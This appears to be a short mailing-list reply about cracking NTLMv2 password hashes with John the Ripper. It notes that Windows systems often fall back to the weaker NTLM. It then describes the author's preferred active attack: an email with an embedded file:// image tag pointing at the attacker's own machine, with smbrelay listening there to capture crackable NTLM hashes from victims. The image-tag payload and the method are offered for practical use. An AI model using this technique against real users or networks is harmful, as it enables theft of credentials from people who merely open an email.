Subject: Re: JtR & NTLMv2 passwords
one should notice here that ms (and lazy admins?) are usually doing a bad
job and fail to disable the fallback from NTLMv2 to the old NTLM (can be
done with a registry-setting).
If you use an "active attack" (i usually prefer an EMail with an embedded
<img src=file:///mypc/webbug.gif>) with something like
smbrelay.exelistening on my machine, you will succeed in sniffing
"crackable"
NTLM-Hashes from the wire almost everywhere.
